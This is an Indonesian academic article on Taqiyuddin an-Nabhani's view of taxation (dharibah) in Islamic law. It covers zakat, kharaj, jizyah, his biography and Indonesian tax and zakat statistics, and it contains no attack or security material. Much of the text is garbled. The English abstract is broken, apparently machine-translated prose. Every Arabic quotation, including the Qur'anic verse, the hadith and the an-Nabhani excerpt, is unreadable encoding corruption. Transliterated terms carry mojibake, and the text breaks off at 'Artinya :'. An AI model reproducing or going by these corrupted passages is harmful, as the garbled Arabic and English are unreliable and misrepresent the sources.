KONSEP PAJAK (TAX) MENURUT TAQIYUDDIN AN-NABHANI
Dr. Nur Chamid, MM.*
Dan
Wildan Fawaid
ABSTRACT
Taxes in world Islamic constitutes one of your form muamalah in economic area, as tool of state requirement accomplishment and society to fund a variety requirement with (collective), as security, health, and education. Taxes that is let among ulama is taxes that gets voluntary character (no sanction for that doesn’t want to pay) since comprises infaq/’s category present/donation to government. Although basically, taxes (dzarbah ) as source of national income in al Qur’an and al Sunnah doesn’t be corrected, since Islam has made compulsory tithe. But just can happen condition, zakA?t no longer suffice state finances, therefore at that moment letting to impose the tax (dzarbah) with rules that really explicit and decreed by ulamaa’.
This observational type constitutes study library (library research ) one that gets comparability descriptive character, which is figure taxes concept in Islamic and finds equations and differences about thinking Taqiyuddin An Nabhani with other moslem figure thinking. Writer utilizes two data source kinds, which is primary data source which is Taqiyuddin An Nabhani’s opus book and secondary data sources which is books about taxes.
Taqiyuddin an Nabhani as centrals figure Hizbut Tahrir’s founder has to see that propertied sources already been established syaraa’ for bayt al mA?l actually was enough to manage people business and services their behalf, not necessarily again makes compulsory taxes, well direct and also indirect. But this concept will never happen if khilfah Islamiyah are not standing beforehand. On the other side liabilities institutes state khilfah assessed as movement of fundamentalism radicalism Islam as at Islamic world cleft. But terminological Ibnu Khaldun, demulcent taxes charges can increase production and secures greater gain of taxes. Besides at potency Indonesia zakA?t and wakaf is cash also was maximal. Potency zakA?t at Indonesia reaches Rp 217 trillion. But, one that brought off by Baznas on year 2012 just reaches Rp. 2 trillion only. Meanwhile wakaf’s potency cash, if 50 million persons that a�Zminimal berwakaf Rp. 10. 000,-/bln, therefore each year fund which will collected as big as Rp. 500 Milliards.
Kata Kunci : Pajak (darA�bah), Bayt al-MA?l, KhilA?fah.
*Dosen Ekonomi Islam Sekolah Tinggi Agama Islam STAIN Kediri
Latar Belakang
Sebagai sebuah agama (al-dA�n) Islam memiliki seperangkat aturan yang mengatur tata cara hubungan antara manusia dengan tuhan (ibadah) dan hubungan antar sesama manusia (mua��A?malah) dalam seluruh aspeknya, baik ekonomi, politik, sosial budaya, pertahanan dan keamanan negara, serta teknologi dan sebagainya (An-Nabhani: 2000; 262). Agama ini juga memiliki kerangka acuan yang sempurna, mempunyai cakupan pengertian yang luas serta Ia juga tidak hanya berkaitan dengan permasalahan ibadah, tetapi juga mua��A?malah, aqidah dan syaria��ah, kebudayaan serta peradaban. Agama yang dibawa nabi Muhammad SAW. ini tidak hanya berkaitan dengan masalah akhirat, tetapi juga masalah kehidupan dunia, tidak hanya masalah sistem kepercayaan, tetapi juga mengajarkan persoalan tata kelola negara. Dengan demikian, Islam datang dengan serangkaian pemahaman tentang kehidupan telah membentuk pandangan hidup tertentu. Namun demikian memang harus diakui bahwa Agama ini hadir dalam bentuk garis-garis hukum yang global, sehingga ia dapat digali berbagai cara pemecahan setiap masalah yang muncul dalam kehidupan manusia pada masa-masa yang berbeda berdasarkan suatu landasan pemikiran yang logis, seperti halnya dalam permasalahan pajak (Jusmaliani, dkk.: 2005; 17).
Menurut Islam, harta adalah hal yang sangat dilindungi, dan tidak boleh diambil siapapun tanpa hak. Meskipun tujuan pajak itu baik, tapi pemerintah tetap tidak boleh mengambil pajak dari rakyat, kecuali jika rakyat membayar secara ikhlas dan sukarela. Jika rakyat tidak ikhlas, maka status pemungut pajak adalah perampok/perampas harta. Perbuatan ini sama halnya dengan muk s di era Nabi, yaitu pemungut cukai atau pajak jalanan. Negara hanya boleh mengambil harta rakyat secara paksa dalam hal zakA?t, jizyah, kharA?j, dan beberapa hal lain yang diatur oleh syariat Islam (Fahmi: 2010).
Meskipun pajak diperbolehkan oleh a�?ulamA?a��, pelaksanaannya harus sesuai dengan rambu-rambu syaria��ah. Jika tidak, pajak (dzarA�bah) akan keluar dari jalurnya sebagai alat pemenuhan kebutuhan negara dan masyarakat menjadi alat penindasan dari penguasa kepada rakyat. Dengan diterapkannya pajak (dzarA�bah) yang sesuai syaria��ah, diharapkan kaum Muslim akan berlomba-lomba membayar pajak sebagai salah satu bentuk jihad mereka dalam mengatasi beban bersama. Walaupun pada dasarnya, pajak (dzarA�bah) sebagai sumber pendapatan negara dalam al-Qura��an dan al-Sunnah tidak dibenarkan, karena Islam sudah mewajibkan zakA?t bagi orang-orang yang sudah terpenuhi ketentuan mengenai zakA?t. Namun bisa saja terjadi kondisi dimana zakA?t tidak lagi mencukupi pembiayaan negara, maka pada saat itu diperbolehkan memungut pajak dengan ketentuan-ketentuan yang sangat tegas dan diputuskan oleh ulamaa�� (An-Nabhani: 2000; 262). Hal ini sebagaimana firman Allah SWT:
U?UZU?U?US O?UZU�U�U?UZO�U�U?U�U?U�U� O�UZU�U?U� U�U?U�O?UZU�O�O�U?U�U?U?UZO�U�U�U�UZO�U�O�U?U?U�U?
a�?Dan pada harta-harta mereka ada hak untuk orang miskin yang meminta dan orang miskin yang tidak mendapat bagiana�?. (Q.S. az-Zariyat: 51;19)
Selain itu juga hadits Rasulullah SAW:
O?U�U� U?U?US O�U�U�UZO�U�U? U�UZO�UZU�U�U�O�O?U?U?UZU� O�U�O?U�U?UZO�O�U?
a�?Sesungguhnya pada harta benda itu ada hak (untuk diambil) di luar zakA?t.a�? (Zuhri (Semarang: 1992; 795)
Dari sekian banyak ulama, salah seorang yang menyoroti permasalahan pajak (dzarA�bah) adalah Taqiyuddin an-Nabhani, tokoh sentral pendiri Hizbut Tahrir pada tahun 1953 di al-Quds (Bayt al-Maqdis). Pemikiran beliau banyak terpengaruh oleh kakeknya yang bernama Yusuf an-Nabhani yang berkecimpung dalam dunia politik pada masa itu (Ar-razi: 2011). Pada masa-masa sebelum Taqiyuddin an-Nabhani mendirikan Hizbut Tahrir, tidak diragukan lagi bahwa keruntuhan KhilA?fah tahun 1924 telah mengakibatkan guncangan besar dan membahana di seluruh dunia Islam. Sebaliknya, westernisasi dalam bidang pemikiran dan sosial telah merambah secara luas pada saat itu. Hal ini telah membuat tokoh-tokoh politik dan intelektual menjadi berhaluan liberal. Mereka sangat menyambut baik langkah-langkah Mustafa Kemal Attaturk, bahkan menyebutnya sebagai pahlawan yang telah menyelamatkan negerinya dari penjajahan asing, tanpa melihat akibat dan hal-hal yang akan terjadi pada masa datang. Faktor-faktor inilah yang mempengaruhi gagasan pembebasan an-Nabhani, yakni pembebasan umat dari dominasi penjajah dalam berbagai aspek. Beliau kemudian mulai mencari jalan yang spesifik untuk mengembalikan posisi umat dan mengembalikan KhilA?fah (An Nabhani: 2012).
Oleh sebabnya, suasana pemikiran dan politik saat itu sangat mempengaruhi Taqiyuddin an-Nabhani. Apalagi ketika itu pemikiran Islam yang murni telah mengalami serangan yang luar biasa melalui penjajah Barat secara langsung di sebagian besar negeri Islam. Pemikiran Islam diserang oleh umat Islam sendiri yang telah tercekoki oleh gerakan westernisasi yang menjadi corong Barat dan kaum orientalis, atau oleh orang-orang yang bertekuk lutut, tidak berdaya menghadapi serangan Barat. Akhirnya, mereka berupaya mengkompromikan antara Islam dan Barat (An-Nabhani: 2009; 10).
Taqiyuddin an-Nabhani sendiri mempunyai paham bahwa sumber-sumber pendapatan yang telah ditetapkan syaraa�� untuk bayt al-mA?l sebenarnya sudah cukup untuk mengatur urusan rakyat dan melayani kepentingan mereka. Sumber-sumber pendapatan yang utama menurut Islam adalah ghA?nimah, shadaqah (zakA?t dan ushr pertanian) serta faia�� (kharA?j, jizyah dan a�?ushr cukai). Dalam hal ini tidak perlu lagi mewajibkan pajak, baik langsung maupun tidak langsung. Jika bayt al-mA?l sudah mencukupi maka pajak (dzarA�bah) harus dihapuskan, akan tetapi meskipun demikian, sharaa�� telah memperhatikannya, sehingga syaraa�� mengklasifikasikan kebutuhan-kebutuhan ummat menjadi dua, antara lain kebutuhan-kebutuhan yang difardlukan kepada bayt al-mA?l untuk sumber-sumber pendapatan tetap bayt al-mA?l, dan kebutuhan-kebutuhan yang difardhukan kepada kaum muslimin, sehingga negara diberi hak untuk mengambil harta dari mereka dalam rangka memenuhi kebutuhan-kebutuhan tersebut. (An-Nabhani: 2000; 263).
Berdasarkan data yang ada, penerimaan dari sektor pajak maupun zakat di Indonesia belum optimal. Data tahun 2010 menunjukkan bahwa kepatuhan wajib pajak di Indonesia di bandingkan negara lain, Jepang misalnya, sangat lah jauh berbeda. Jumlah penduduk Indonesia yang mencapai 240 juta jiwa, dengan pekerja aktifnya sekitar 110 juta, hanya 8,5 juta yang membayar pajak secara aktif. Dengan kata lain 8,5 juta orang itu menopang 231 penduduk Indonesia, rasio hanya 7,73 % . Sedangkan untuk melaporkan SPT hanya 466 rb, badan usaha akif 12,9 jt. Rasio hanya 3,6 %, jadi A� Rp 800 T, potensi belum optimal. Perlu langkah terobosan di bidang ekstensifikasi (perluasan basic penerimaan pajak) dan intensifikasi (meluruskan wajib pajak yang kurang benar dalam melaporkan pajak terhutangnya). Dewasa ini berkisar 11-12% (negara-negara tetangga di atas 14%), sebagai perbandingan di negara Jepang dengan populasi 120 Juta, yang melaporkan SPT lebih dari 40 Juta (Krisnanto: 2012). Sedangkan dari sektor zakat, data tahun 2012 potensi zakat di Indonesia sebesar Rp. 217 Triliun yang dikelola baru Rp. 2 Triliun saja.
Dengan kajian persoalan pajak berdasarkan latar belakang yang seperti dipaparkan tersebut, maka pembahasan lebih lanjut menjadi penting dilakukan karena persoalan pajak (dzarA�bah) sebagai sumber pendapatan negara masih menjadi perdebatan bila ditinjau dari hukum Islam, karena pajak (dzarA�bah) tidak disebutkan secara langsung dalam al-Qura��an dan al-Sunnah. Dalam ajaran Islam yang dikenal adalah kharA?j, jizyah dan a�?ushr (bea cukai), Islam tidak mengajarkan pemungutan harta lain di luar yang telah di tentukan sharaa�� seperti pajak (dzarA�bah). Taqiyuddin an-Nabhani menjelaskan dalam bukunya NizhA?m al-IqtishA?d, tentang persoalan pajak (dzarA�bah) yang tidak disebutkan dalam sharaa�� ini. Taqiyuddin an-Nabhani memandang bahwa pajak (dzarA�bah) tersebut bisa dilakukan oleh negara, kalau negara dalam keadaan darurat saja bukan sebagai pendapatan utama. (An-Nabhani: 2000; 263).
Pengertian Pajak
Secara etimologi, pajak dalam bahasa Arab disebut dengan istilah dzarA�bah (Inayah: 2003; 24), yang berasal dari kata O�O�O?O? USO�O�O?O? O�O�O?O� yang artinya: mewajibkan, menetapkan, menentukan, memukul, menerangkan, atau membebankan, dan lain-lain (Munawir: 2002; 815). a??haraba adalah bentuk kata kerja (fia��il), sedangkan bentuk kata bendanya (ism) adalah dzarA�bah (O�O�USO?O�), yang dapat berarti beban. a??arA�bah adalah isim mufrad (kata benda tunggal) dengan bentuk jamaknya adalah dharA?ib (O�O�O�O�O?). Ia disebut beban, karena merupakan kewajiban tambahan atas harta setelah zakA?t, sehingga dalam pelaksanaannya akan dirasakan sebagai sebuah beban (pikulan yang berat). Dalam hal ini sebagai contoh istilah maslahah al-dzarA?ib (O�U�O�O�O�O�O? U�O�U�O�O�) adalah dipakai untuk menyebut jawatan perpajakan.
Bila ditinjau dari sisi bahasa maupun tradisi, dzarA�bah dalam penggunaannya memang mempunyai banyak arti, namun para a��ulamA?a��memakai ungkapan dzarA�bah untuk menyebut harta yang dipungut sebagai kewajiban. Hal ini tampak jelas dalam ungkapan bahwa jizyah dan kharA?j dipungut secara dzarA�bah, yakni secara wajib, bahkan sebagian a�?ulamA?a��menyebut kharA?j merupakan dzarA�bah (Gusfahmi: 2007; 27).
Jadi, dzarA�bah adalah harta yang dipungut secara wajib oleh negara untuk selain jizyah dan kharA?j, sekalipun keduanya secara awam bisa dikategorikan dzarA�bah. (Abdurrahman: 2012) Pajak (dzarA�bah) objek yang dikenai adalah harta selain zakA?t, sedangkan subjeknya adalah kaum muslim, sedangkan jizyah objek yang dikenai adalah jiwa (al-nafs), subjeknya adalah kaum non muslim, berbeda lagi dengan kharA?j, objeknya adalah tanah taklukan dan subjeknya adalah kaum non muslim.
Sementara itu para a�?ulamA?a�� berbeda pendapat terkait hukum pemungutan pajak. Mayoritas fuqaha berpendapat bahwa zakA?t adalah satu-satunya kewajiban kaum muslim atas harta. Barang siapa telah menunaikan zakA?t, maka bersihlah hartanya dan bebaslah kewajibannya. Dasarnya adalah berbagai a??adits Rasulullah (Gusfahmi: 2007, 170). Di sisi lain ada pendapat a�?ulamA?a�� bahwa dalam harta kekayaan ada kewajiban lain selain zakA?t. Dalilnya adalah QS.al-Baqarah: 177; al-Ana��am: 141; al-Maa��un: 4-7; al-Maidah: 2; al-Israa��: 26; an-Nisaa��: 36; al-Balad: 11-18, dan lain-lain. Jalan tengah dari dua perbedaan pendapat ini adalah bahwa kewajiban atas harta yang wajib adalah zakA?t, namun jika datang kondisi yang menghendaki adanya keperluan tambahan (dzarurah), maka akan ada kewajiban tambahan lain berupa pajak (dzarA�bah). Pendapat ini misalnya dikemukakan oleh Qaa??i Abu Bakar Ibn al-Arabi, Imam Malik, Imam Qurtubi, Imam Syatibi, Mahmud Syaltut, dan lain-lain (Gusfahmi: 2007; 169-181).
Diperbolehkannya memungut pajak (dzarA�bah) menurut para a�?ulamA?a�� tersebut di atas, alasan utamanya adalah untuk kemaslahatan umat, maka pajak (dzarA�bah) saat ini memang sudah menjadi kewajiban warga negara dalam sebuah negara Muslim, dengan alasan dana pemerintah tidak mencukupi untuk membiayai berbagai a�?pengeluarana�?, yang jika pengeluaran itu tidak dibiayai, maka akan timbul ke-mudzarA?t-an. Sedangkan mencegah suatu ke-mudzarA?t-an adalah juga kewajiban.
Dari penjelasan di atas, jelas terlihat bahwa pajak (dzarA�bah) adalah kewajiban yang datang secara temporer, diwajibkan oleh ulil amri sebagai kewajiban tambahan sesudah zakA?t (jadi dzarA�bah bukan zakA?t), karena kekosongan/kekurangan bayt al-mA?l, dapat dihapus jika keadaan bayt al-mA?l sudah terisi kembali, diwajibkan hanya kepada kaum Muslim yang kaya, dan harus digunakan untuk kepentingan mereka (kaum Muslim), bukan kepentingan umum, sebagai bentuk jihad kaum Muslim untuk mencegah datangnya bahaya yang lebih besar jika hal itu tidak dilakukan (Gusfahmi: 2007; 33).
Pajak (dzarA�bah) dengan kharA?j dan jizyah, yang sering kali dalam berbagai literatur disebut juga dengan pajak, sesungguhnya ketiganya berbeda. Objek pajak (dzarA�bah) adalah al-mA?l (harta), objek jizyah adalah jiwa (al-nafs), dan objek kharA?j adalah tanah (status tanahnya) (Gusfahmi: 2007; 33). Namun jika dilihat dari sisi objeknya, objek pajak (dzarA�bah) adalah harta, sama dengan objek zakA?t. Oleh sebab itu, pajak (dzarA�bah) adalah pajak tambahan setelah zakA?t.
Kalau diklasifikasikan berdasarkan tujuan penggunaannya, pendapatan negara dapat dikelompokkan menjadi dua kelompok saja, yaitu: (1) Pendapatan Tidak Resmi Negara dan (2) Pendapatan Resmi Negara (Azmi: 2005; 89). Pendapatan tidak resmi negara, yang terdiri dari ghanA�mah dan shadaqah. Pendapatan tidak resmi ini disebut demikian karena diperuntukkan hanya untuk manfaat tertentu.Meskipun negara bertanggung jawab atas pengumpulannya (a�?A?mil), namun negara wajib mengeluarkannya hanya untuk tujuan pendapatan tersebut dipungut (tujuan sedekah dan ghanA�mah). Pendapatan resmi negara, yang terangkum dalam satu kesatuan nama faya��, terdiri dari jizyah, kharA?j, a�?ushr (bea). Maksud pendapatan resmi (disebut juga pendapatan penuh) di sini adalah pendapatan dimana negara berhak membelanjakannya untuk kepentingan seluruh penduduk (kepentingan umum), seperti keamanan, transportasi, pendidikan, dan sebagainya. Karena manfaat faya�� dapat digeneralisasi, maka penguasa bebas menggunakannya untuk kebaikan umum masyarakat (Gusfahmi: 2007, 84).
Ada beberapa perbedaan mendasar antara ghanA�mah, faya�� dan sedekah (zakA?t), antara lain sebagai berikut (Al-Mawardi: 2000; 225):
- GhanA�mah dan faya�� adalah harta yang didapatkan kaum Muslimin dari kaum musyrikA�n, atau mereka menjadi penyebab perolehan harta tersebut, sedangkan zakA?t adalah murni diperoleh dari kaum Muslim.
- GhanA�mah dan faya�� dikenakan untuk menghukum mereka, sedangkan zakA?t untuk membersihkan dan menyucikan mereka.
- Distribusi ghanA�mah dan faya�� dapat diserahkan kepada ijtihA?d a�?ulamA?a��, sedangkan distribusi zakA?t tidak boleh ber-ijtihA?d di dalamnya.
Selain sumber diatas, negara memiliki sumber pendapatan lain non pajak, diantaranya ialah: 1) ZakA?t yaitu hak bagi delapan ashnA?f (golongan), yang diambilkan dari sebagian harta, setelah mencapai satu nishA?b, untuk membersihkan harta dan jiwa. 2) Sedekah yaitu pembenaran (pembuktian) dari shahadat (keimanan) kepada Allah SWT, dan Rasul-Nya, yang diwujudkan dalam bentuk pengorbanan materi. 3) Infaq adalah mengeluarkan sebagian dari harta atau pendapatan untuk satu kepentingan yang diperintahkan ajaran Islam. Jika zakA?t ada nishA?b-nya, infaq tidak mengenal nishA?b (Gusfahmi: 2007; 102). 4) GhanA�mah adalah harta yang diperoleh kaum Muslimin dari musuh melalui peperangan dan kekerasan dengan mengarahkan pasukan, kuda-kuda dan unta perang yang memunculkan rasa takut dalam hati kaum Musyrikin. 5) Faya��, yaitu harta rampasan yang diperoleh kaum Muslim dari musuh tanpa terjadinya pertempuran. 6) KharA?j adalah pajak atas tanah atau hasil tanah, di mana para pengelola wilayah taklukan harus membayar kepada negara Islam. 7) Jizyah adalah kewajiban keuangan (pajak) atas penduduk non-Muslim di negara Islam sebagai pengganti biaya perlindungan atas hidup dan properti dan kebebasan untuk menjalani agama mereka masing-masing. Jadi istilah jizyah tersebut diambil sebagai akibat kekufuran mereka. 8)Di kalangan ahli fiqih, sepersepuluh (a�?ushr) memiliki dua arti. Pertama, sepersepuluh dari lahan pertanian yang disirami dengan air hujan. 9) Waqaf atau waqf aset yang dialokasikan untuk kemanfaatan umat di mana substansi atau pokoknya ditahan, sementara manfaatnya boleh dinikmati untuk kepentingan umum.
Macam-macam Pajak menurut Tokoh-tokoh Muslim
Al-Ghazali menggunakan istilah pajak dengan kharA?j atau pajak tanah yaitu beban yang dikenakan kepada non Muslim atas tanah mereka (Azzuhaili: 1997; 150). KharA?j dibedakan menjadi dua, yang pertama kharA?j dengan metode proporsional (muqA?samah), yaitu pajak yang dikenakan secara proporsional dari total hasil produksi tanah yang bersangkutan seperti A?, 1/5, dan lain-lain. Sedangkan yang kedua dengan metode tetap (wA?zifah) adalah pajak yang dikenakan setahun sekali (Mannan: 1997; 50). Berbeda dengan dasar konsep Abu Ubayd, mengenai kekayaan publik adalah harta milik Rasul SAW yang dibedakan menjadi tiga macam: faya��, safia�� khums al-khums. Ketiga konsep ini merupakan konsep asli Abu Ubayd yang disimpulkan langsung dari al-Qura��an dan al-Sunnah. Abu Ubayd menjelaskan ada tiga Istilah yang digunakan dalam al-Qura��an mengenai keuangan publik, yaitu: anfA?l, khums dan jizyah. Walaupun pengertian asal istilah anfA?l merujuk pada harta rampasan perang yang terkena aturan pembagian khums, menurut Abu Ubayd anfal memiliki empat pengertian yang berbeda. Pertama, anfal dalam pengertian salaf, yaitu rampasan perang yang tidak terkena aturan khums. Biasanya berupa kuda, baju besi, tombak atau pedang yang dipakai dalam perang atau duel satu lawan satu. Kedua, anfal al-sarA?ya, yaitu rampasan perang bagi prajurit garis depan, yang diterapkan hanya ketika Imam memerintahkan prajurit ini untuk berjalan kaki ke arena peperangan.
Amfal yang ketiga adalah anfal min al-khums yang merupakan pemberian Imam yang diambil dari khums. Abu Ubayd sangat sadar bahwa dengan mengeluarkan nafal dari khums akan membuka kemungkinan korupsi dan penyalahgunaan wewenang oleh penguasa, karena itu Abu Ubayd meletakkan kepentingan publik sebagai syarat untuk menjalankan hak ini. Anfal yang terakhir adalah anfal dari keseluruhan rampasan perang sebelum dikeluarkan khums. anfal jenis ini dilakukan Nabi SAW setelah perang Hunain saat beliau memberikan unta 100 ekor kepada sahabat al-Aqraa�� bin Haris dan a�?Uyaynah bin Hisn (Mannan: 1997; 104).
Dalam kitab al-AmwA?l, Abu Ubayd menjelaskan ada tiga penafsiran tentang pembagian harta khums, yang secara harfiah ayat tersebut, dibagikan ke enam jenis penerima yaitu: Allah, Nabi, karib kerabat, anak yatim, fakir dan miskin, serta ibn sabA�l. Pendapat yang pertama menurut Ibn Abbas, bagian untuk Allah, Nabi dan karib kerabat hanya berlaku bagi suku Bani Hasyim dan Bani Muthallib dari bangsa Quraisy dianggap satu bagian. Kedua, menurut Abu al-Aliyah, bagian Allah harus diberikan ke Kaa��bah, Baitullah. Ketiga, menurut a�?Ataa��, bagian Allah diperuntukkan sekaligus untuk Nabi SAW.
Biografi Taqiyuddin an-Nabhani
Nama lengkap Taqiyuddin an-Nabhani adalah Muhammad Taqiyuddin bin Ibrahim bin Musthafa bin Ismail bin Yusuf an-Nabhani. Gelar an-Nabhani dinisbahkan kepada kabilah Bani Nabhan, yaitu kabilah Arab penghuni padang sahara di Palestina dan bermukim di daerah Ijzim yang termasuk dalam wilayah Haifa di Palestina Utara (An Nabhani: 2012). Taqiyuddinan-Nabhani dilahirkan di daerah Ijzim pada tahun 1909. Beliau mendapat pendidikan awal dari ayahnya sendiri yang bernama Ibrahim bin Musthafa yaitu seorang pengajar ilmu-ilmu syariah di Kementerian Pendidikan Palestina. Sedangkan ibunya menguasai beberapa cabang ilmu syariah, yang diperoleh dari kakeknya, Yusuf bin Ismail bin Yusuf an-Nabhani, seorang qadhi (hakim), penyair, sastrawan, dan salah seorang ulama terkemuka dalam Daulah Utsmaniyah (An Nabhani: 2012).
Pemikiran dan gagasan politik Taqiyuddin an-Nabhani tidak bisa dilepaskan dari pengaruh dua sosok guru dalam kehidupannya, yaitu kakek beliau Yusuf an-Nabhani dan Muhammad Khidir Hussein. Kedua sosok ini termasuk tokoh pembela khilA?fah(anshA?r al-KhilA?fah) pada masa Daulah Utsmaniyah. Dari keduanyalah Taqiyyuddin an-Nabhani memahami hal-hal yang berkaitan dengan khilA?fah dan pertentangan antar Islam dan Barat (Ar-razi: 2011). Yusuf an-Nabhani termasuk tokoh sejarah masa akhir Daulah Utsmaniyah. Yusuf an-Nabhani berpendapat bahwa Daulah Utsmaniyah merupakan penjaga agama dan aqidah, simbol kesatuan kaum Muslimin, dan mempertahankan institusi umat. Yusuf an-Nabhani bertentangan dengan Muhammad Abduh dalam metode tafsir. Muhammad Abduh menyerukan perlunya pentakwilan nash agar tafsir merujuk pada tuntutan keadaan dan waktu. Beliau juga bertentangan dengan Jamaluddin al-Afghani, Muhammad Abduh dan murid-muridnya yang sering menyerukan reformasi agama. Menurut beliau, tuntutan reformasi itu meniru Protestan. Dalam Islam tidak ada reformasi agama (seperti dalam pemahaman Protestan). Beliau juga menentang gerakan misionaris dan sekolah-sekolah misionaris yang mulai tersebar pada ketika itu (An-Nabhani: 2012).
Satu tahun sebelum kelahiran Taqiyuddin an-Nabhani, yaitu pada tahun 1908, merupakan awal munculnya gerakan nasionalisme Turki yaitu Gerakan Turki Muda, di saat Sultan Mahmud II berkuasa. Secara tidak langsung gerakan ini juga mempengaruhi daerah-daerah kekuasaan Daulah Ustmaniyah, termasuk Palestina tempat tinggal Taqiyuddin an-Nabhani. Dari sejarah pembaharuan Turki selanjutnya didapati tiga orientasi gerakan yang berbeda (Mughni: 1997; 126):
- Gerakan Tradisionalis, yang kukuh dengan ide Islamisme dan perlu tegaknya pemerintahan Islam. Tokoh utamanya adalah Mehmed Akif (1870-1938 M),
- Gerakan Nasionalis, yang mengembangkan ide pan-Turkisme yang bercita-cita tegaknya negara Turki yang memiliki identitas kultural otentik yang khas dan berbeda dari masyarakat lainnya. Tokoh sayap gerakan ini adalah Zia Gokalp (1875-1924 M),
- Gerakan Modernis, yang bereaksi terhadap kelompok tradisionalis dengan mengusung Islam rasional yang akrab dengan ide-ide Barat. Mereka menyerukan perlunya masyarakat Turki mengambil pola Barat bagi kemajuan negerinya. Tokohnya Ahmed Riza, Mehmed Murad dan Pangeran Sihabuddin.
Perbedaan tiga orientasi gerakan pembaharuan Turki
Gerakan Tradisional | Gerakan Nasionalis | Gerakan Modernis |
Bidang Kenegaraan | ||
Melihat perlunya negara Islam yang menerapkan hukum-hukum Tuhan | Lebih melihat pada urgensitas langkah yang dapat mereduksi peran mahkamah syaria��ah di bawah syaikh al-Islam yang terlampau berlebihan. | Menganjurkan pemisahan antara agama dan negara |
Bidang Ekonomi | ||
Mengecam sistem kapitalisme dan liberalisme sebagai sistem yang sama buruknya dengan sosialisme dan komunisme | Khusus terkait bunga bank, kaum nasionalis tidak sepakat keharamannya. Menurut mereka, yang diharamkan oleh al-Qura��an adalah bunga dalam transaksi jual-beli uang, bukan bunga bank. | Menganjurkan adopsi sistem kapitalisme dan liberalism. |
Bidang Pendidikan | ||
Takut erosi terhadap identitas Islam karena pengaruh ilmu-ilmu Barat cenderung mempertahankan sistem pendidikan madrasah. | – | Menuntut kebebasan pendidikan dan mimbar akademik dengan memasukkan materi-materi filsafat, logika dan pengetahuan Barat lainnya. |
Bidang Sosial | ||
Pemahaman tentang a�?kerudunga�? sebagai simbol yang memasung perempuan ini jelas ditentang keras | 1. Partisipasi publik bagi perempuan di bidang sosial maupun ekonomi.
2. Penghapusan poligami. |
Menyerukan ide-ide persamaan hal termasuk menyerang a�?kerudunga�? sebagai simbol yang memasung perempuan. |
Sumber :Syafiq Mughni, Sejarah Kebudayaan Islam di Kawasan Turki,1997.
Selain itu berbagai perubahan sosial yang terjadi setelah dirubahnya Daulah Utsmaniyah menjadi republik Turki oleh Musthofa Kemal at-Taturk, membuat Taqiyuddin an-Nabhani yang sejak remaja sudah bersinggungan dengan dunia politik karena sering mengikuti majlis-majlis kakeknya Yusuf an-Nabhani secara aktif tulisan maupun aksi ingin mengembalikan umat Islam kembali dalam satu naungan yaitu khilA?fah Islamiyah. Karya – karya Taqiyuddin an-Nabhani berupa kitab-kitab tanzhiriyah (penetapan pemahaman/pandangan) dan tanzhimiyah (penetapan peraturan), atau kitab-kitab untuk mengajak kaum muslimin untuk mengembalikan semula kehidupan Islam dengan jalan mendirikan KhilA?fah Daulah Islamiyah. Sebagaimana di kutip dari Wikipedia, Dawud Hamdan (sekretaris Hizbu Tahrir di awal pembentukannya) telah menjelaskan karakter kitab-kitab Taqiyuddin an-Nabhani yang termasuk kitab-kitab yang benar-benar membangkitkan kaum Muslimin dengan jalan mengembalikan kehidupan Islam dan mengembang dakwah Islamiyah (An Nabhani: 2012).
Karya-karya Taqiyuddin an-Nabhani yang paling terkenal adalah Muqoddimah al-Dustur yang memuat Rancangan Undang-Undang Dasar Islam. Undang-Undang Dasar atau Dustur itu memang dibuat dalam kerangka sistem Islam atau tepatnya dalam sistem politik dan pemerintahan KhilA?fah Islamiyyah, satu bentuk pemerintahan di mana umat Islam seluruh dunia bersatu bernaung dalam kekhalA�fahan Islam yang dipimpin oleh seorang KhalA�fah yang dibaiat untuk melaksanakan kitabullah (al-Qura��an) dan sunnah rasul-Nya (al-Sunnah) (Yusanto: 2012). Selain Muqaddimah al-Dustur, kitab yang banyak dikaji adalah al-Daulahal-IslamA�yah, kitab yang membahas tentang berbagai hal terkait pentingnya mendirikan negara khilA?fah untuk mempersatukan umat, karena Islam telah menetapkan negara ini sebagai negara khilA?fah, yang memiliki bentuk unik dan pola tersendiri. Sebuah negara yang memiliki format yang berbeda dari seluruh format negara yang ada di dunia, baik dalam asas yang menjadi pijakannya, struktur-strukturnya, konstitusi maupun perundang-undangannya, yang diambil dari al-Quran dan Sunnah Rasulullah saw, yang mewajibkan khalA�fah dan umat untuk berpegang teguh kepadanya, menerapkannya dan terikat dengan hukum-hukumnya, karena seluruhnya adalah syariat Allah, dan bukan peraturan yang berasal dari manusia. Kitab berikutnya adalah al-NizhA?m al- IqthishA?di fi al-IslA?m, kitab ini dibahas tentang distribusi, keuangan, kepemilikan dalam Islam, manajemen infaq, dan kritik sosial serta berbagai persoalan perekonomian, dalam menegakkan khilA?fah Islamiyah.
Pajak dalam Pemikiran Taqiyuddin an-Nabhani
Pajak adalah basis material dan darah kehidupan (lifeblood) negara dan kekuasaannya. Tidak ada negara otoriter maupun demokrasi yang dapat bertahan hidup dan menjalankan roda kekuasaannya tanpa pajak rakyat. Pajak dibayar negara tegak; pajak diboikot negara ambruk. Jika diteorikan negara adalah hasil kontrak sosial, maka sesungguhnya dalam berpajaklah kontrak itu diberi isi dari hari ke hari. Oleh sebab itu, visi dan bentuk negara akan sangat ditentukan oleh bagaimana basis material negara yang bernama pajak itu diberi makna. Konsep yang diberikan masyarakat terhadap pajaknya, akan sangat menentukan konsep negara yang dibangunnya (Masya��udi: 2010; 70). Taqiyuddin an-Nabhani dalam kitabnya NizhA?m al-IqtishA?d fi al-IslA?m, mengatakan:
O?USO? O�U�U�O�U� U�U? O�U�O�U�O? O�U�O?US O?O�O?O� O?U?U� O?O�U�, O?U? O�O�O� U�U�O� USO?O?O�U�U� O�U�U�O?U�U�U?U� U�U� U�O�U�. U?O?U�U� O�U�U? U?U?U� U�O�U� O�O?O?O�U�U� O�U�U�O?U�U�U?U�, U?U�U� USO?O?USU� U�O�U�U?U� U�U�U�U�, U?U�U? U�U� O�U�U?U� O?USO? O�U�U�O�U�, O�O?U� U?U�U? O?O?USU� U�O�U�U?U� O�U�O�. U?O?O�O� U�O?O� O�O�O� O?O�U�U�O?O� U�O�O�U?O� O?U�U� O�U�U?U� O?USO? O�U�U�O�U�, O?U?O�O? O?O?O�U� O?U�U� O�O�O?U�, O?U� U�U� USO?O�U� U�O?U� O?USO? O�U�U�O�U� O?O?O�O�O� O?U� O�U�O�U�O�, U�O� O?U� O�U�U�U?O�U�. (An-Nabhani: 1990; 124)
Artinya :
